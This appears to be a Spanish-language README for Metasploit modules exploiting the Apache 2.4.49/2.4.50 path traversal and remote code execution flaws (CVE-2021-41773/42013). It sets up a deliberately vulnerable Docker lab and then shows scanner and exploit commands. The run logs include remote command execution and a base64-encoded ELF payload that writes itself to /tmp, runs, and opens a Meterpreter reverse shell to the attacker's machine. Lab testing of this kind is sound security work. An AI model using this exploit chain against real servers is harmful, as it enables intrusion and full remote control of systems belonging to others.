zeop-cybersec/apache_normalize_pathMódulos de Metasploit-Framework (escáner y exploit) para los CVE-2021-41773 y CVE-2021-42013 (Path Traversal en Apache 2.4.49/2.4.50)
El 5 de octubre, el Proyecto Apache HTTP Server parcheó CVE-2021-41773, una vulnerabilidad de path traversal y divulgación de archivos en Apache HTTP Server, un servidor web de código abierto para Unix y Windows que se encuentra entre los servidores web más utilizados. Según el aviso de seguridad, CVE-2021-41773 ha sido explotado activamente como un zero-day. La vulnerabilidad fue reportada al Proyecto Apache HTTP Server el 29 de septiembre por Ash Daulton y el equipo de seguridad de cPanel. Sin embargo, el aviso no indica cuándo se detectó la explotación de CVE-2021-41773, pero es razonable pensar que la explotación impulsó la publicación acelerada de un parche.
Ver: https://fr.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
Esta vulnerabilidad se ha reintroducido en la corrección de Apache 2.4.50 (CVE-2021-42013).
Se descubrió que la corrección para CVE-2021-41773 en Apache HTTP Server 2.4.50 era insuficiente. Un atacante podría usar un ataque de path traversal para mapear URLs a archivos fuera de los directorios configurados por directivas similares a Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada habitual "require all denied", estas solicitudes pueden tener éxito. Si además los scripts CGI están habilitados para estas rutas alias, esto podría permitir la ejecución remota de código. Este problema solo afecta a Apache 2.4.49 y Apache 2.4.50, no a versiones anteriores.
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--o--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--o--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
Enumera los pasos necesarios para asegurarte de que esto funciona
Usa el módulo de escáner:
msfconsole.use auxiliary/scanner/http/apache_normalize_pathset RHOSTS [IP]set RPORT 8080set SSL falserunUsa el módulo de exploit:
msfconsole.use exploit/multi/http/apache_normalize_path_rceset RHOSTS [IP]set RPORT 8080set SSL falseset LHOST [IP]set VERBOSE truerunmsf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set target 1
target => 1
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a
cmd => uname -a
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[+] uname -a
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Generated payload: uname -a
[!] http://172.20.4.11:8080 - Dumping command output in response
Linux 184ef33f9859 5.14.0-1-amd64 #1 SMP Debian 5.14.6-3 (2021-09-28) x86_64 GNU/Linux
msf6 exploit(multi/http/apache_normalize_path_rce) >
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > setg RHOSTS 172.20.4.11
RHOSTS => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36
lhost => 172.20.7.36
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[*] Started reverse TCP handler on 172.20.7.36:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] http://172.20.4.11:8080 - Generated command payload: echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwUByRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > /tmp/PJaT; chmod +x /tmp/PJaT; /tmp/PJaT; rm -f /tmp/PJaT
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 172.20.4.11
[*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.4.11:48540) at 2021-10-08 13:58:13 +0400
[!] This exploit may require manual cleanup of '/tmp/PJaT' on the target
meterpreter >